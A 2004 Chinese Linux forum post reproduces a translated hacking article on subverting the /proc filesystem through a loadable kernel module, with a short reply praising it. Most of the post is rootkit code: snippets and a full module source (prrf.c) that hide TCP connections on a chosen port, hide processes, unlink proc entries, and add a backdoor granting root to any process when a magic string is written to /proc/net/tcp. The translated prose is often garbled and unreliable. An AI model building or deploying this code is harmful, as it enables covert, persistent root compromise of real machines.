LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 578|回复: 1

《侵入Linux内核(Sub proc_root Quando Sumus)》

[复制链接]
发表于 2004-5-9 10:44:59 | 显示全部楼层 |阅读模式
《侵入Linux内核(Sub proc_root Quando Sumus)》


E-BADBOY (译)

http://www.HackK.Net

E-BADBOY@mail.china.com

2002年04月09日



1 - 导言



2 - VFS和PROC的初级介绍

  2.1 - VFS和PROC

  2.1 - PROC_fs.h

  2.3 - PROC_root



3 - 该从哪里入手?

  3.1 - 安全的?

  3.2 - 拒绝服务

  3.3 - 隐藏连接

  3.4 - 提高权限

  3.5 - 程序隐藏

  3.6 - 其他应用



4 - 参考



附录A: prrf.c





--[ 1 - 导言

  "19世纪讨厌的浪漫主义是大怒的Caliban(加译:莎士比亚剧《暴风雨》中的半兽半人怪物)看镜子里自己的脸.

   19世纪讨厌的现实主义是大怒的Caliban不看镜子里自己的脸.

               - Oscar Wilde (加译:王尔德.奥斯卡 1854-1900 英国诗人, 唯美主义者) "The picture of Dorian Gray"里的前言.



  上面的名言涉及到这里的侵入,而不是文学作品,是通过重新叙述,让我们知道:我们的浪漫主义精神是安全的,现实主义精神是阴暗的.这篇文章是关于那个Caliban的"黑客".我们的镜子将会看到LINUX的内核.



  不是全部内核.主要是PROC文件系统.



  我将单独的描写使用LINUX内核模块(LKM),到断口技术.尽管这个技术有点简单.

  它们将使用非常有限的unice在其它unices上.PROC文件系统发展延伸到LINUX当中,不是延伸其他的unices.每处理一个目录,linux习惯于聚集很多信息,多数程序都依赖于这样.很多信息能建立[7]到[8].



  老的UNIX和HP-UX10.X版本不提供PROC文件系统.处理数据例如ps(1)命令,是立即直接读取内存的.这个命令允许超级用户与PROC文件系统结构相比较.



--[ 2 - VFS 和 PROC 初级版本



  首先我将标出必要的基础知识以便去了解,技术解析说明稍后再标出.道那时PROC文件系统纲要将研究.



--[ 2.1 VFS 和 PROC



  内核规定文件系统提取层叫虚拟文件系统(VFS),它使用一个统一的规定,使户登陆看得到任何文件系统(看详细资料[1]).更多这样的方法可以到[2]



  我们不能从VFS上访问PROC.

  看眼于统一的文件系统,哪一个是PROC文件系统的执行的标准呢?这里有个简单的理由.我们适用改变PROC,但是应该看让它起来像其他任何文件系统.



  为什么PROC是这时片文章里的标准?它有两个特征:

         1.它是一个文件系统.

         2.它完全的留存在内核的存储中.



  它是一个文件系统,存取着所有的登陆用户,对于VFS层倘若通过内核是有限的,也就是读,写,打开和类似的系统调用.



--[ 2.2 - PROC_FS.h



This subchapter will concern on the file named proc_fs.h; commonly in

~/include/linux/, where ~ is the root of you kernel source tree. Ok, here

we go for 2.2 series:



/*

* This is not completely implemented yet. The idea is to

* create an in-memory tree (like the actual /proc filesystem

* tree) of these proc_dir_entries, so that we can dynamically

* add new files to /proc.

*

* The "next" pointer creates a linked list of one /proc directory,

* while parent/subdir create the directory structure (every

* /proc file has a parent, but "subdir" is NULL for all

* non-directory entries).

*

* "get_info" is called at "read", while "fill_inode" is used to

* fill in file type/protection/owner information specific to the

* particular /proc file.

*/

struct proc_dir_entry {

       unsigned short low_ino;

       unsigned short namelen;

       const char *name;

       mode_t mode;

       nlink_t nlink;

       uid_t uid;

       gid_t gid;

       unsigned long size;

       struct inode_operations * ops;

       int (*get_info)(char *, char **, off_t, int, int);

       void (*fill_inode)(struct inode *, int);

       struct proc_dir_entry *next, *parent, *subdir;

       void *data;

       int (*read_proc)(char *page, char **start, off_t off,

                     int count, int *eof, void *data);

       int (*write_proc)(struct file *file, const char *buffer,

              unsigned long count, void *data);

       int (*readlink_proc)(struct proc_dir_entry *de, char *page);

       unsigned int count; /* use count */

       int deleted;             /* delete flag */

};



  The described "in-memory tree" will be unified by the VFS. This

struct is a little different in 2.4 kernel:



/*

* This is not completely implemented yet. The idea is to

* create an in-memory tree (like the actual /proc filesystem

* tree) of these proc_dir_entries, so that we can dynamically

* add new files to /proc.

*

* The "next" pointer creates a linked list of one /proc directory,

* while parent/subdir create the directory structure (every

* /proc file has a parent, but "subdir" is NULL for all

* non-directory entries).

*

* "get_info" is called at "read", while "owner" is used to protect module

* from unloading while proc_dir_entry is in use

*/



typedef int (read_proc_t)(char *page, char **start, off_t off,

                     int count, int *eof, void *data);

typedef int (write_proc_t)(struct file *file, const char *buffer,

                     unsigned long count, void *data);

typedef int (get_info_t)(char *, char **, off_t, int);



struct proc_dir_entry {

       unsigned short low_ino;

       unsigned short namelen;

       const char *name;

       mode_t mode;

       nlink_t nlink;

       uid_t uid;

       gid_t gid;

       unsigned long size;

       struct inode_operations * proc_iops;

       struct file_operations * proc_fops;

       get_info_t *get_info;

       struct module *owner;

       struct proc_dir_entry *next, *parent, *subdir;

       void *data;

       read_proc_t *read_proc;

       write_proc_t *write_proc;

       atomic_t count;             /* use count */

       int deleted;             /* delete flag */

       kdev_t  rdev;

};

  随着时间的发展技术的更新,它现在还不完全.而且还有些错误.但是已经很好了,已经足够了.它已经改变了过去争论的get_info函数的原形.



--[ 2.3 - The proc_root



  Linux内核输出,root inode("inode"此单词在所有中英词典中都均无解释,以下是他在国外计算机词典中的解释:"data structure holding information about files in a Unix file system. There is an inode for each file and a file is uniquely identified by the file system on which it resides and its inode number on that system. Each inode contains the following information: the device where the inode resides, locking information, mode and type of file, the number of links to the file, the owner's user and group ids, the number of bytes in the file, access and modification times, the time the inode itself was last modified and the addresses of the file's blocks on disk. A Unix directory is an association between file leafnames and inode numbers. A file's inode number can be found using the "-i" switch to ls".仅供参考)PROC文件系统,指定PROC_ROOT.因此它是PROC文件系统中的root inode.装配点:commonly /proc 处可以咨询.我们可以在那里开始了,转到任意目录下面的文件.无论如何一出外.处理目录绝不能从proc_root延伸出来.要有足够的额外空间,如果呼叫可以读取文件列表(inode 操作)就可以呈现VFS层.



  它将要清除proc_root类型

  "struct proc_dir_entry"



--[ 3 - 该从哪里入手?



  这一章将介绍techiques to aquire 的用途比较普通获得系统呼叫置换.



  下面的宏函数将使用.倘若在这些部分里(注意:执行看附录A):



  As noted in section 2.2 we have to take care of a little change in

       design:



       #if defined (KERNEL_22)

       #define FILE_OPS        ops->default_file_ops

       #define INODE_OPS       ops

       #elif defined (KERNEL_24)

       #define FILE_OPS        proc_fops

       #define INODE_OPS       proc_iops

       #endif



       struct proc_dir_entry *

       traverse_proc (char *path, struct proc_dir_entry *start):

         On success, return a pointer to the proc file specified by

       path. On failures, NULL is returned.

       Start may either be NULL or an arbitrary proc_dir_entry; it

       marks the point there the search begins.

       The path may begin with "~/". If it does, the search starts at

       proc_root.



       int

       delete_proc_file (char *path):

         This function will remove a file from the proc directory

       lists. It will not free the memory the proc_dir_entry occupies,

       thus making it possible to reintroduce it later on.



--[ 3.1 -安全的?



  很容易的修改来叙述,第一,很少的域在proc_dir_entry目录里.即uid,gid(加译:1. <operating system> group identifier.2. <filename extension> global index.)模式. 替换它们,我们可以简单的重新发行and/or宣布无效,有能力确定用户连接的可靠性.边注:有些信息能够通过/proc访问,可以获得其他的路线.



一个执行情况,看起来像以下:



  proc_dir_entry *a = NULL;

       a = traverse_proc ("~/ksyms", NULL);

       if (a) {

              /* reset permissions to 400 (r--------): */

              a->mode -= (S_IROTH | S_IRGRP);

       }

       a = traverse_proc ("~/net", NULL);

       if (a) {

              /* reset permissions to 750 (rwxr-x---): */

              a->mode = S_IRWXU | S_IRGRP | S_IXGRP;

              /* reset owner group to a special admin group id */

              a->gid = 7350;

       }



  另外的安全性存取可以看3.5



--[ 3.2 - 拒绝服务



  OK,我将用同样简短的介绍.一个恶意用户可能发送无价值的大量文件数据来造成拒绝服务.(但是,如果攻击者只是拆散文件,那将没有任何作用.)



  /* oops, we forget to save the pointer ... */

       delete_proc_file ("~/apm");



  事实上是发生在 delete_proc_file 调用(简单的):

  0. 找到 proc_dir_entry 删除文件夹(to_del)

  1. 找到 proc_dir_entry 文件夹配置;

     proc->next->name == to_del->name

  2. relink:

     proc->next = to_del->next



--[ 3.3 - 隐藏连接



  netstat命令,使用户的proc文件~/net/* 列出e.g.和tcp连接情况.注意用户数据报协议(udp)插槽等等.(阅读[4]完全的讨论netstat)自从我们控制调节proc文件系统以来,我么知道了哪些用读,哪些不用.proc_dir_entry struct 自制函数指示器,指定get_info哪个呼叫读取文件.使改变方向,我们可以控制/proc里的目录文件



  照看着不同译本的文件格式.文件从内核2.2.x到2.4.x说起关于改变它们的格式.一样的函数能照样改变方向,让我来看看逐步发展的2.5.X内核:



an example (for 2.2.x kernels, for differences to 2.4.x kernel see section

2.2):



       /* we save the original get_info */

       int (*saved_get_info)(char *, char **, off_t, int, int);

       proc_dir_entry *a = NULL;



       /* the new get_info ... */

       int

       new_get_info (char *a, char **b, off_t c, int d, int e) {

              int x = 0;

              x = saved_get_info (a, b, c, d, e);

              /* do something here ... */

              return x;

       }



       a = traverse_proc ("~/net/tcp", NULL);

       if (a) {

              /*

               * we just set the get_info pointer to point to our new

               * function. to undo this changes simply restore the pointer.

               */

              saved_get_info = a->get_info;

              a->get_info = &new_get_info;

       }



  附录A提供执行例子.



--[ 3.4 - 提高权限



  经常利用系统调用时(在用户得到特权的情况下),我们将重新改变调用系统的发送方向.改变方向以后,它阅读足够的文件操作.

(1)允许向内核发送数据.

(2)如果我们选择正确,它是相当好的.(如果可把/proc/sys/net/ipv4/ip_forward改写为1,提升任务ID到0, 这样的是确实一个坏念头.



有些代码可以说明这些:

       a = traverse_proc ("~/ide/drivers", NULL);

       if (a) {

              /*

               * the write function is called if the file is written to.

               */

              a->FILE_OPS->write = &new_write;

       }

这是一个好的拯救指示器的方法.如果你移动内存指令舱,函数功能可能失效.如果它随后调用空(NULL)指示器,它能带来严重的系统破坏.建议大家阅读附录A.



--[ 3.5 - 程序隐藏



  怎么样让目录读取?你只好找到inode,你可以利用它读取一个文件列表. 这个VFS出有统一的界面.我们不能考虑重新安装两个有问题的排指示器文件列表.



  以后处理目录直接在proc_root下,在那它不需要搜索两个inode.注意,我们不能隐藏用户的资料排架(它们出外).不能直接写入它们使用的内存.



   /* a global pointer to the original filldir function */

       filldir_t real_filldir;



       static int new_filldir_root (void * __buf, const char * name,

                     int namlen, off_t offset, ino_t ino) {

              /*

               * if the dir entry, that should be added has a stupid name

               * indicate a successful addition and do nothing.

               */

              if (isHidden (name))

                     return 0;

              return real_filldir (__buf, name, namlen, offset, ino);

       }





       /* readdir, business as usual. */

       int new_readdir_root (struct file *a, void *b, filldir_t c) {

              /*

               * Note: there is no need to set this pointer every

               * time new_readdir_root is called. But we have to set

               * it once, when we replace the readdir function. If we

               * know where filldir lies at that time this should be

               * changed. (yes, filldir is static).

               */

              real_filldir = c;

              return old_readdir_root (a, b, new_filldir_root);

       }





       /* replace the readdir file operation. */

       proc_root.FILE_OPS->readdir = new_readdir_root;



  如果程序需要更多的隐藏,是不能正常的显示连接的.毕竟这样的情况不大可能发生.用户有足够的权限,可以消除这种情况.



  做一个文件替换/proc内部,可以双向查找inode操作.



  struct dentry *new_lookup_root (struct inode *a, struct dentry *b) {

              /*

               * will result in:

               * "/bin/ls: /proc/<d_iname>: No such file or directory"

               */

              if (isHidden (b->d_iname))

                     return NULL;

              return old_lookup_root (a, b);

       }



       /* ... enable the feature ... */

       proc_root.INODE_OPS->lookup = &new_lookup_root;



  E.g. 这个可以用于建立好的存取标准.



--[ 3.6 - 其他应用



  现在让我们考虑文件怎么样改良. 在 /proc/net 目录里是 ip_fwnames (定义一系列名字)和 ip_fwchains (标准).它们都使用 ipchains 读取(注,不是 iptables ),前提是它们对筛标列表准表示怀疑.关于上面,那有一个指定的TCP文件(注意所有的现有TCP插槽).这样的文件存在UDP里,未加工的文件目录和未加工的插槽.在插槽上的在自制统计表也包含UDP文件的存在.在同步连接之间小心的写后门(tcp|udp|...)程序.ARP有用的使用 /proc/net/arp 去集合信息.发送使用/proc/net/rout 文件.可以阅读阅读manpages(加译:Unix manual page "man [-s<section>] <page>")找出"FILES"和"SEE ALSO"章节.



你能看见,在那里很多很多的应用软件在用这些技术.它直到你写出新的get_info函数过滤它们的输出(或者恶意加入)



[1] "Overview of the Virtual File System", Richard Gooch <rgooch@atnf.csiro.au>

    http://www.atnf.csiro.au/~rgooch/linux/docs/vfs.txt

[2] "Operating Systems, Design and Implementation", by Andrew S. Tanenbaum and

    Albert S. Woodhull

    ISBN 0-13-630195-9

[3] RUNTIME KERNEL KMEM PATCHING, Silvio Cesare <silvio@big.net.au>

    http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt

[4] netstat

    see netstat(1) for further information.

[5] StMichael, by Tim Lawless <lawless@netdoor.com>

    http://sourceforge.net/projects/stjude

[6] KSTAT, by FuSyS <fusys@s0ftpj.org>

    http://s0ftpj.org/tools/kstat.tgz

[7] proc pseudo-filesystem man page

    see proc(5)

[8] "T H E  /proc   F I L E S Y S T E M", Terrehon Bowden <terrehon@pacbell.net>,

    Bodo Bauer <bb@ricochet.net> and Jorge Nerin <comandante@zaralinux.com>

    ~/Documentation/filesystems/proc.txt (only in recent kernel source trees!)

    http://skaro.nightcrawler.com/~bb/Docs/Proc



--[附录A: prrf.c



<++> ./prrf.c

/*

* prrf.c

*

* LICENSE:

* this file may be copied or duplicated in any form, in

* whole or in part, modified or not, as long as this

* copyright notice is prepended UNMODIFIED.

*

* This code is proof of concept. The author can and must

* not be made responsible for any, including but not limited

* to, incidental or consequential damage, data loss or

* service outage. The code is provided "AS IS" and WITHOUT

* ANY WARRENTY. USE IT AT YOU OWN RISK.

*

* palmers / teso - 12/02/2001

*/



/*

* NOTE: the get_info redirection DOES NOT handle small buffers.

*       your system _might_ oops or even crash if you read less

*       bytes then the file contains!

*/



/*

* 2.2.x #define KERNEL_22

* 2.4.x #define KERNEL_24

*/

#define KERNEL_22      1

#define DEBUG             1



#define __KERNEL__

#define MODULE

#include <linux/module.h>

#include <linux/kernel.h>

#include <sys/syscall.h>

#include <linux/config.h>

#include <linux/types.h>

#include <linux/slab.h>

#include <linux/smp_lock.h>

#include <linux/fd.h>

#include <linux/fs.h>

#include <linux/proc_fs.h>

#include <linux/sched.h>

#include <asm/uaccess.h>





/*

* take care of proc_dir_entry design

*/

#if defined (KERNEL_22)

  #define FILE_OPS     ops->default_file_ops

  #define INODE_OPS ops

#elif defined (KERNEL_24)

  #define FILE_OPS     proc_fops

  #define INODE_OPS proc_iops

#endif



#define BUF_SIZE  65535

#define AUTH_STRING "ljdu3g9edaoih"





struct hide_proc_net

{

  int                     id;           /* entry id, useless ;) */

  char                  *local_addr,    /* these should be self explaining ... */

                     *remote_addr,

                    *local_port,

                     *remote_port;

};



/*

* global lst_entry:

* set by traverse_proc, used by delete_proc_file.

*/

struct proc_dir_entry     *lst_entry = NULL;



/*

* some function pointers for saving original functions.

*/

#if defined (KERNEL_22)

  int (*old_get_info_tcp) (char *, char **, off_t, int, int);

#elif defined (KERNEL_24)

  get_info_t *old_get_info_tcp;

#endif



ssize_t (*old_write_tcp) (struct file *, const char *, size_t, loff_t *);

struct dentry * (*old_lookup_root) (struct inode *, struct dentry *);

int (*old_readdir_root) (struct file *, void *, filldir_t);

filldir_t real_filldir;





/*

* rules for hiding connections

*/

struct hide_proc_net hidden_tcp[] = {

       {0, NULL, NULL, ":4E35", NULL},            /* match connection from ANY:ANY to ANY:20021 */

       {1, NULL, NULL, NULL, ":4E35"},            /* match connection from ANY:20021 to ANY:ANY*/

       {2, NULL, NULL, ":0016", ":4E35"},    /* match connection from ANY:20021 to ANY:22 */

       {7350, NULL, NULL, NULL, NULL}          /* stop entry, dont forget to prepend this one */

};





/*

* get_task:

* find a task_struct by pid.

*/

struct task_struct *get_task(pid_t pid)

{

       struct task_struct   *p = current;



       do {

              if (p->pid == pid)

              return p;

              p = p->next_task;

       } while (p != current);

       return NULL;

}





/*

* __atoi:

* atoi!

*/

int __atoi(char *str)

{

       int    res = 0,

              mul = 1;



       char *ptr;

       for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {

              if (*ptr < '0' || *ptr > '9')

                     return (-1);

              res += (*ptr - '0') * mul;

              mul *= 10;

       }

       return (res);

}





/*

* get_size_off_tcp:

* get the size of the modified /proc/net/tcp file.

*/

static off_t get_size_off_tcp (char **start)

{

  off_t           x = 0,

              xx = 0,

              xxx = 0,

              y = 0;

  char           tmp_buf[BUF_SIZE + 1];



  do

    {

      x += y;

      xx += xxx;

      y = __new_get_info_tcp (tmp_buf, start, x, BUF_SIZE, 0, 1, &xxx);

    } while (y != 0);



  return x - xx;

}





/*

* deny_entry:

* check connection parameters against our access control list.

* for all non-NULL fields of a entry the supplied parameters

* must match. Otherways the socket will show up.

*/

int deny_entry (char *la, char *lp, char *ra, char *rp)

{

  int              x = 0,

              y,

              z;



  while (hidden_tcp[x].id != 7350)

    {

      y = 0;

      z = 0;



      if (hidden_tcp[x].local_addr != NULL)

       {

         if (!strncmp (la, hidden_tcp[x].local_addr, 8))

           y++;

       }

      else

       z++;



      if (hidden_tcp[x].remote_addr != NULL)

       {

         if (!strncmp (ra, hidden_tcp[x].remote_addr, 8))

           y++;

       }

      else

       z++;



      if (hidden_tcp[x].local_port != NULL)

       {

         if (!strncmp (lp, hidden_tcp[x].local_port, 5))

           y++;

       }

      else

       z++;



      if (hidden_tcp[x].remote_port != NULL)

       {

         if (!strncmp (rp, hidden_tcp[x].remote_port, 5))

           y++;

       }

      else

       z++;



      if ((z != 4) && ((y + z) == 4))

       return 1;

      x++;

    }

  return 0;

}





/*

* __new_get_info_tcp:

* filter the original get_info output. first call the old function,

* then cut out unwanted lines.

* XXX: very small buffers will make very large problems.

*/

int __new_get_info_tcp (char *page, char **start, off_t pos, int count, int f, int what, off_t *fx)

{

  char           tmp_l_addr[8],

              tmp_l_port[5],

             tmp_r_addr[8],

              tmp_r_port[5],              /* used for acl checks */

              *tmp_ptr,

              *tmp_page;

  int              x = 0,

              line_off = 0,

              length,

              remove = 0,

              diff,

              m;



#if defined (KERNEL_22)

  x = old_get_info_tcp (page, start, pos, count, f);

#elif defined (KERNEL_24)

  x = old_get_info_tcp (page, start, pos, count);

#endif



  if (page == NULL)

    return x;



  while (*page)

    {

      tmp_ptr = page;

      length = 28;

      while (*page != '\n' && *page != '\0')      /* check one line */

       {

       /*

        * we even correct the sl field ("line number").

        */

         if (line_off)

           {

             diff = line_off;



             if (diff > 999)

              {

                 m = diff / 1000;

                 page[0] -= m;

                 diff -= (m * 1000);

              }

             if (diff > 99)

              {

                 m = diff / 100;

                 page[1] -= m;

                 diff -= (m * 100);

              }

             if (diff > 9)

              {

                 m = diff / 10;

                 page[2] -= m;

                 diff -= (m * 10);

              }

             if (diff > 0)

              page[3] -= diff;



             if (page[0] > '1')

              page[0] = ' ';

             if (page[1] > '1')

              page[1] = ' ';

             if (page[2] > '1')

              page[2] = ' ';

           }



         page += 6;         /* jump to beginning of local address, XXX: is this fixed? */

         memcpy (tmp_l_addr, page, 8);



         page += 8;         /* jump to beginning of local port */

         memcpy (tmp_l_port, page, 5);



         page += 6;         /* jump to remote address */

         memcpy (tmp_r_addr, page, 8);



         page += 8;         /* jump to beginning of local port */

         memcpy (tmp_r_port, page, 5);



          while (*page != '\n')   /* jump to end */

           {

             page++;

             length++;

           }



         remove = deny_entry (tmp_l_addr, tmp_l_port, tmp_r_addr, tmp_r_port);

       }

      page++;                    /* '\n' */

      length++;



      if (remove == 1)

       {

         x -= length;

         if (what)            /* count ignored bytes? */

           *fx += length;

         tmp_page = page;

         page = tmp_ptr;



         while (*tmp_page)     /* move data backward in page */

           *tmp_ptr++ = *tmp_page++;



/* zero lasting data (not needed)

         while (length--)

           *tmp_ptr++ = 0;

         *tmp_ptr = 0;

*/

         line_off++;

         remove = 0;

       }

    }

  return x;

}





/*

* new_get_info_tcp:

* we need this wrapper to avoid duplication of entries. we have to

* check for "end of file" of /proc/net/tcp, where eof lies at

* file length - length of all entries we remove.

*/

#if defined (KERNEL_22)

int new_get_info_tcp (char *page, char **start, off_t pos, int count, int f)

{

#elif defined (KERNEL_24)

int new_get_info_tcp (char *page, char **start, off_t pos, int count)

{

  int              f = 0;

#endif

  int              x = 0;

  off_t           max = 0;



  max = get_size_off_tcp (start);

  if (pos > max)

    return 0;

  x = __new_get_info_tcp (page, start, pos, count, f, 0, NULL);



  return x;

}





/*

* new_write_tcp:

* a write function that performs misc. tasks as privilege elevation etc.

* e.g.:

* echo AUTH_STRING + nr. > /proc/net/tcp == uid 0 for pid nr.

*/

ssize_t new_write_tcp (struct file *a, const char *b, size_t c, loff_t *d)

{

  char *tmp = NULL, *tmp_ptr;

  tmp = kmalloc (c + 1, GFP_KERNEL);



  copy_from_user (tmp, b, c);

  if (tmp[strlen (tmp) - 1] == '\n')

    tmp[strlen (tmp) - 1] = 0;



  if (!strncmp (tmp, AUTH_STRING, strlen (AUTH_STRING)))

    {

      struct task_struct *x = NULL;

      tmp_ptr = tmp + strlen (AUTH_STRING) + 1;

      if ((x = get_task (__atoi (tmp_ptr))) == NULL)

       {

         kfree (tmp);

         return c;

       }

      x->uid = x->euid = x->suid = x->fsuid = 0;   

      x->gid = x->egid = x->sgid = x->fsgid = 0;   

    }



  kfree (tmp);

  return c;

}





/*

* some testing ...

*/

struct dentry *new_lookup_root (struct inode *a, struct dentry *b)

{

  if (b->d_iname[0] == '1')

    return NULL;  /* will result in: "/bin/ls: /proc/1*: No such file or directory" */

  return old_lookup_root (a, b);

}





static int new_filldir_root (void * __buf, const char * name, int namlen, off_t offset, ino_t ino)

{

  if (name[0] == '1' && name[1] == '0')     /* hide init */

    return 0;

/*

* hiding the last task will result in a wrong linked list.

* that leads e.g. to crashes (ps).

*/

  return real_filldir (__buf, name, namlen, offset, ino);

}



int new_readdir_root (struct file *a, void *b, filldir_t c)

{

  real_filldir = c;

  return old_readdir_root (a, b, new_filldir_root);

}





/*

* traverse_proc:

* returns the directory entry of a given file. the function will traverse

* thru the filesystems structure until it found the matching file.

* the pr argument may be either NULL or a starting point for the search.

* path is a string. if it begins with '~' and pr is NULL the search starts

* at proc_root.

*/

struct proc_dir_entry *traverse_proc (char *path, struct proc_dir_entry *pr)

{

  int                     x = 0;

  char                  *tmp = NULL;



  if (path == NULL)

    return NULL;



  if (path[0] == '~')

    {

      lst_entry = &proc_root;

      return traverse_proc (path + 2, (struct proc_dir_entry *) proc_root.subdir);

    }



  while (path[x] != '/' && path[x] != 0)

    x++;



  tmp = kmalloc (x + 1, GFP_KERNEL);

  memset (tmp, 0, x + 1);

  memcpy (tmp, path, x);



  while (strcmp (tmp, (char *) pr->name))

    {

      if (pr->subdir != NULL && path[x] == '/')

        {

          if (!strcmp (tmp, (char *) pr->subdir->name))

           {

             kfree (tmp);

             lst_entry = pr;

             return traverse_proc (path + x + 1, pr->subdir);

           }

        }

      lst_entry = pr;

      pr = pr->next;

      if (pr == NULL)

       {

         kfree (tmp);

         return NULL;

       }

    }



  kfree (tmp);

  if (*(path + x) == 0)

    return pr;

  else

    {

      lst_entry = pr;

      return traverse_proc (path + x + 1, pr->subdir);

    }

}





/*

* delete_proc_file:

* remove a file from of the proc filesystem. the files inode will still exist but it will

* no longer be accessable (not pointed to by any other proc inode). the subdir pointer will

* be copy'ed to the the subdir pointer of the preceeding inode.

* returns 1 on success, 0 on error.

*/

int delete_proc_file (char *name)

{

  struct proc_dir_entry *last = NULL;

  char                  *tmp = NULL;

  int                     i = 0;       /* delete subdir? */



  last = traverse_proc (name, NULL);



  if (last == NULL)

    return 0;

  if (lst_entry == NULL)

    return 0;



  if (last->subdir != NULL && i)

    lst_entry->subdir = last->subdir;



  while (*name != 0)

    {

      if (*name == '/')

        tmp = name + 1;

      *name++;

    }



  if (!strcmp (tmp, lst_entry->next->name))

    lst_entry->next = last->next;

  else if (!strcmp (tmp, lst_entry->subdir->name))

    lst_entry->subdir = last->next;

  else

    return 0;



  return 1;

}





int init_module ()

{

  struct proc_dir_entry *last = NULL;

  last = traverse_proc ("~/net/tcp", NULL);



  old_readdir_root = proc_root.FILE_OPS->readdir;

  old_lookup_root = proc_root.INODE_OPS->lookup;



  proc_root.FILE_OPS->readdir = &new_readdir_root;

  proc_root.INODE_OPS->lookup = &new_lookup_root;



  if (last != NULL)

    {

#ifdef DEBUG

      printk ("Installing hooks ....\n");

#endif

      old_get_info_tcp = last->get_info;

      old_write_tcp = last->FILE_OPS->write;



      last->get_info = &new_get_info_tcp;

      last->FILE_OPS->write = &new_write_tcp;

    }



  return 0;

}





void cleanup_module ()

{

  struct proc_dir_entry *last = NULL;

  last = traverse_proc ("~/net/tcp", NULL);



  proc_root.FILE_OPS->readdir = old_readdir_root;

  proc_root.INODE_OPS->lookup = old_lookup_root;



  if (last != NULL)

    {

#ifdef DEBUG

      printk ("Removing hooks ....\n");

#endif

      last->get_info = old_get_info_tcp;

      last->FILE_OPS->write = old_write_tcp;

    }

}

<-->



E-BADBOY (译)

http://www.HackK.Net

E-BADBOY@mail.china.com

2002年04月09日
发表于 2004-5-9 21:45:42 | 显示全部楼层
很好啊!但会不会旧了点呢
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表